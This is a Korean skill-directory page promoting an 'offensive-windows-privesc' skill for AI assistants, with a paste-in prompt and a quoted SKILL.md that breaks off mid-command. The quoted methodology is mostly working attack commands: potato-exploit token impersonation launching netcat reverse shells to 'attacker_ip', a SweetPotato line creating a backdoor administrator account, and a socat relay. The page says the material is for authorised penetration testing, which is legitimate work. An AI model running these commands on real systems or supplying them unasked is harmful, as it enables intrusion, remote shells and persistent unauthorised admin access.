본문으로 건너뛰기
Skillpedia
보안10k · #11968

offensive-windows-privesc

하는 일

이 스킬은 일반 사용자 계정에서 Windows 컴퓨터의 SYSTEM 또는 관리자 권한을 얻는 방법을 찾는 방법론입니다. 서비스, 토큰, 레지스트리 설정, 패치되지 않은 소프트웨어를 다룹니다. 서면 허가를 받고 Windows 호스트를 테스트하는 보안 전문가를 위한 스킬입니다.

사용하는 경우

  • ✓승인된 테스트에서 일반 사용자 셸로 Windows 호스트에 접근해 더 높은 권한을 확인해야 할 때.
  • ✓안전하지 않은 경로나 취약한 권한이 있는지 Windows 서비스를 검토하고 싶을 때.
  • ✓권한 상승 위험이 있는지 레지스트리와 예약된 작업 설정을 확인해야 할 때.

스킬 링크

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-windows-privesc/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-windows-privesc/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“이 Windows 워크스테이션을 테스트할 승인을 받았습니다. 제 일반 사용자 계정으로 SYSTEM 권한에 닿을 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 스킬은 자동 열거를 실행한 뒤 현재 권한, 서비스, 레지스트리, 예약된 작업을 확인합니다. 그다음 토큰 권한과 다른 잘못된 설정을 살펴보고, 찾은 권한 상승 경로를 각각 검증합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Windows Privilege Escalation

You have a standard user shell on a Windows target. Your objective is to escalate to NT AUTHORITY\SYSTEM or local Administrator through systematic enumeration and exploitation of misconfigurations, vulnerable services, and unpatched software. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques.

Windows privilege escalation differs fundamentally from Linux. The attack surface centers on services, tokens, the registry, DLL loading mechanics, and the Windows access control model. Master these primitives and you can chain findings from any enumeration tool into a working escalation path.

Quick Workflow

  1. Run automated enumeration (WinPEAS, PowerUp, Seatbelt) to surface misconfigurations.
  2. Check current privileges -- SeImpersonate/SeAssignPrimaryToken are immediate wins.
  3. Enumerate services for unquoted paths, weak DACLs, and writable binaries.
  4. Check AlwaysInstallElevated registry keys for MSI-based escalation.
  5. Identify DLL hijacking opportunities in privileged processes.
  6. Attempt UAC bypass if running as a local admin without elevated context.
  7. Inspect scheduled tasks, registry autoruns, and writable PATH directories.
  8. Harvest credentials from SAM, DPAPI, LSA secrets, and Credential Manager.
  9. Check for PrintNightmare and other unpatched vulnerabilities as a last resort.

Automated Enumeration

Run automated tools first to build a comprehensive picture of the attack surface. Review output methodically -- these tools surface findings you would otherwise miss.

# WinPEAS
.\winPEASx64.exe > C:\Users\Public\winpeas.txt 2>&1
.\winPEASx64.exe servicesinfo  # Specific checks only

# PowerUp
Import-Module .\PowerUp.ps1
Invoke-AllChecks | Out-File -FilePath C:\Users\Public\powerup.txt

# SharpUp / Seatbelt / BeRoot
.\SharpUp.exe audit
.\Seatbelt.exe -group=all > C:\Users\Public\seatbelt.txt
.\beRoot.exe

Token Impersonation

When your user holds SeImpersonate or SeAssignPrimaryToken privileges (common for service accounts, IIS AppPool, SQL Server, MSSQL), you can impersonate the SYSTEM token. This is one of the most reliable escalation vectors on Windows.

Privilege Check

# Check current privileges
whoami /priv

# Look for these specifically:
# SeImpersonatePrivilege        - Impersonate a client after authentication
# SeAssignPrimaryTokenPrivilege - Replace a process-level token

JuicyPotato (Windows Server 2008-2016, Windows 7-10 before 1809)

# JuicyPotato abuses COM DCOM authentication to negotiate a SYSTEM token
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

# Common CLSIDs vary by OS version
# Windows 10: {4991d34b-80a1-4291-83b6-3328366b9097}
# Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

# If default CLSID fails, enumerate valid ones
.\JuicyPotato.exe -z -l 1337 -t * -c {clsid_here}

PrintSpoofer (Windows 10, Server 2016/2019)

# Abuses the Print Spooler service to capture a SYSTEM token
.\PrintSpoofer64.exe -i -c powershell.exe

# Direct command execution
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

GodPotato (Windows 8-11, Server 2012-2022)

# Works across a wide range of Windows versions -- choose the right .NET binary
.\GodPotato-NET4.exe -cmd "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe"

SweetPotato and RoguePotato

# SweetPotato -- combines multiple potato techniques
.\SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add && net localgroup Administrators hacker /add"

# RoguePotato (Win10 1809+, Server 2019) -- requires attacker relay on port 135
# Attacker: socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
.\RoguePotato.exe -r attacker_ip -e "C:\Users\Public\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999

Choose your potato based on the target OS version. PrintSpoofer and GodPotato have the broadest coverage on modern systems.


Service Misconfigurations

Windows services running as SYSTEM are a primary escalation target. Misconfigurations in service paths, permissions, and binary locations create exploitable conditions.

Unquoted Service Paths

# Find unquoted service paths with spaces
wmic service get name,displ
자주 묻는 질문

주로 어떤 영역을 확인하나요?

서비스, 토큰 권한, 레지스트리 자동 실행 키, DLL 로딩, 예약된 작업을 확인합니다.

어떤 도구를 언급하나요?

자동 점검을 위해 WinPEAS, PowerUp, Seatbelt를 언급합니다.

승인된 테스트에만 쓰나요?

네. 테스트 권한이 있는 시스템을 위해 작성되었습니다.

상세 정보

작성자의 원본 설명

Comprehensive Windows privilege escalation methodology for offensive security engagements. Covers the full attack surface from a standard user shell to NT AUTHORITY\\SYSTEM: token impersonation via SeImpersonate and SeAssignPrimaryToken privileges using JuicyPotato, PrintSpoofer, GodPotato, SweetPotato, and RoguePotato; service misconfigurations including unquoted service paths, weak service DACLs, writable service binaries, and insecure service creation permissions; AlwaysInstallElevated MSI exploitation; DLL hijacking through search order abuse, phantom DLL loading, and writable PATH directo

repo: SnailSploit/Claude-Red

인기도

GitHub 스타
10k
순위
#11968
라이선스
MIT
업데이트
2026. 10. 12.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬